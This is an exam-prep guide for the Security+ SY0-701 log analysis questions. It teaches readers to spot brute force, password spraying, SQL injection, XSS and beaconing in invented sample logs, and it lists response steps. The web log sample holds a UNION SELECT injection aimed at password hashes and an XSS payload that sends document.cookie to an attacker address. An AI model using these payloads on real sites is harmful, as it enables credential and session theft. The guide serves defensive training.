November 10, 2026

Security+ Log Analysis PBQ: How to Read the Logs

A log analysis PBQ hands you a slice of logs and asks what happened. You might tag each line with an attack, pick the compromised host, or choose the right response. Two SY0-701 objectives sit behind these questions: 2.4, "Given a scenario, analyze indicators of malicious activity," and 4.9, "Given a scenario, use data sources to support an investigation," which lists firewall logs, application logs, endpoint logs, OS-specific security logs, IPS/IDS logs and network logs. Both are in the official SY0-701 exam objectives.

You don't need to memorize log formats. You need a way to read any log quickly and a short list of patterns to look for. This guide gives you both, using original sample logs written for practice. None of them are real exam content.

Read the question before the logs

Log excerpts usually include more lines than you need, and many are normal traffic placed there as noise. Before you read a single line, check what the question wants:

Tag every line, or find only the malicious ones?
Name the attack, or decide whether it succeeded?
Pick a containment step, or the long-term fix?

Knowing the goal turns a wall of text into a targeted search.

Four things to check on every line

Whatever the log type, the same fields carry the story:

Who: the source IP or user account.
What: the action, URL, command or port.
When: the timestamp, and the gap between related lines.
Result: success or failure, the HTTP status code, allow or deny, and the size of the response.

Then look across lines for three signals: repetition (the same action many times), a change in result (failures that turn into a success), and anything that doesn't belong (database syntax in a URL, a login at 2 a.m., an internal host talking to an unknown external address).

Authentication logs: brute force vs password spraying

Both are password attacks listed under objective 2.4, and PBQs like to test whether you can tell them apart.

Here's an excerpt from a Linux server's SSH log:

Nov 10 02:14:01 files01 sshd[4121]: Failed password for root from 203.0.113.45 port 50122 ssh2
Nov 10 02:14:02 files01 sshd[4123]: Failed password for root from 203.0.113.45 port 50130 ssh2
Nov 10 02:14:03 files01 sshd[4126]: Failed password for root from 203.0.113.45 port 50141 ssh2
Nov 10 02:14:04 files01 sshd[4128]: Failed password for root from 203.0.113.45 port 50155 ssh2
Nov 10 02:14:06 files01 sshd[4133]: Failed password for root from 203.0.113.45 port 50170 ssh2
Nov 10 02:14:09 files01 sshd[4139]: Accepted password for root from 203.0.113.45 port 50188 ssh2

One external source, one account, a failure every second or two, then Accepted. That's brute force: many passwords tried against a single account. The last line matters most. The attack succeeded, so this is now a compromised account, not just an attempt.

Now a sign-in log from a web application:

08:31:07 SIGNIN FAIL user=a.ramos src=198.51.100.77 reason=bad_password
08:46:12 SIGNIN FAIL user=b.chen  src=198.51.100.77 reason=bad_password
09:01:15 SIGNIN FAIL user=c.osei  src=198.51.100.77 reason=bad_password
09:16:20 SIGNIN FAIL user=d.patel src=198.51.100.77 reason=bad_password
09:31:22 SIGNIN OK   user=e.walsh src=198.51.100.77

One source, a different account each time, one attempt per account, about 15 minutes apart. That's password spraying: one common password tried across many accounts, slowly enough to stay under lockout thresholds. Real logs don't record the password, so you infer spraying from the shape of the activity. Practice questions sometimes show a masked password so you can see it's the same one each time.

The quick test:

Many attempts, one account: brute force.
Few attempts each, many accounts: spraying.

On Windows, the same story shows up as event ID 4625 (failed logon), 4624 (successful logon) and 4740 (account locked out). Account lockout is itself one of the indicators listed in objective 2.4.

Web server logs: SQL injection and XSS

Web logs show what visitors requested and how the server answered. Attacks show up as code where plain input belongs. Attackers often URL-encode it, so learn a few codes: %20 is a space, %27 is a single quote, %3C and %3E are < and >.

203.0.113.88 - - [10/Nov/2026:10:12:41 -0800] "GET /orders?id=1042 HTTP/1.1" 200 5120
203.0.113.88 - - [10/Nov/2026:10:12:58 -0800] "GET /orders?id=1042%20UNION%20SELECT%20username,password_hash%20FROM%20users-- HTTP/1.1" 500 312
203.0.113.88 - - [10/Nov/2026:10:13:20 -0800] "GET /search?q=%3Cscript%3Efetch('//203.0.113.88/c?'+document.cookie)%3C/script%3E HTTP/1.1" 200 4380
10.20.3.40 - - [10/Nov/2026:10:13:35 -0800] "GET /dashboard HTTP/1.1" 200 8812

Line 1 is a normal request. It's included so you can see what normal looks like for this page.
Line 2 is SQL injection. Decoded, the id parameter carries UNION SELECT username,password_hash FROM users--, an attempt to pull data from another table. The 500 means the query broke. That shows an attempt, not proof that data left. Evidence of success would be a 200 with a response much larger than normal for that page.
Line 3 is cross-site scripting (XSS). Decoded, the search box carries a <script> tag that would send a visitor's cookies to the attacker's address. A 200 here only means the page loaded; it doesn't prove the script ran in anyone's browser.
Line 4 comes from an internal address requesting an ordinary page. Benign.

SQL injection and XSS are both listed as web-based vulnerabilities in objective 2.3, and injection appears under application attacks in 2.4. You can practice tagging lines like these in the free Read the web server log question, which also includes directory traversal and command injection.

Firewall logs: spotting beaconing

Firewall and network logs show connections rather than content. One pattern worth knowing is beaconing: malware on an infected host checking in with an attacker's command-and-control server on a regular schedule.

2026-11-09 23:00:04 ALLOW TCP 10.20.8.31:51544 -> 192.0.2.200:443 bytes=612
2026-11-09 23:05:04 ALLOW TCP 10.20.8.31:51602 -> 192.0.2.200:443 bytes=608
2026-11-09 23:10:05 ALLOW TCP 10.20.8.31:51661 -> 192.0.2.200:443 bytes=615
2026-11-09 23:15:04 ALLOW TCP 10.20.8.31:51719 -> 192.0.2.200:443 bytes=610
2026-11-09 23:15:30 ALLOW TCP 10.20.4.12:50310 -> 198.51.100.9:443 bytes=48211

One internal host connects to the same external address every five minutes, late at night, with nearly identical small transfers. People don't browse on a perfect timer, which is why regularity is the clue. Port 443 doesn't make it safe; attackers use it because it blends in with normal HTTPS. The last line, a single larger transfer to a different address, has no repeating pattern and on its own isn't suspicious.

"Beaconing" isn't a named term in the SY0-701 objectives. Reading it comes under using firewall and network logs in an investigation (4.9) and recognizing malware activity (2.4), so it's worth knowing even if the question words it differently.

From finding to response

Many log PBQs ask what to do next. Read whether the question wants an immediate action or a lasting fix:

Brute force that succeeded: contain first by disabling the account or blocking the source, then reset credentials, and fix the root cause with MFA and lockout policies.
Password spraying: MFA and blocking or banning common passwords address the pattern itself.
SQL injection: a WAF rule or blocking the source contains it; parameterized queries (prepared statements) and input validation fix it.
XSS: output encoding and input validation fix it; a WAF can contain it.
Beaconing: isolate the host, then investigate how it was infected.

Practice it

Logs get faster to read the more of them you see. Start with the free Read the web server log question, then try Collect the evidence in the right order for what happens after an incident is confirmed.

For a different PBQ type, read the firewall rule PBQ walkthrough, and for timing and exam-day tactics, see how to approach Security+ PBQs. All free questions are listed on the practice questions page.

All articles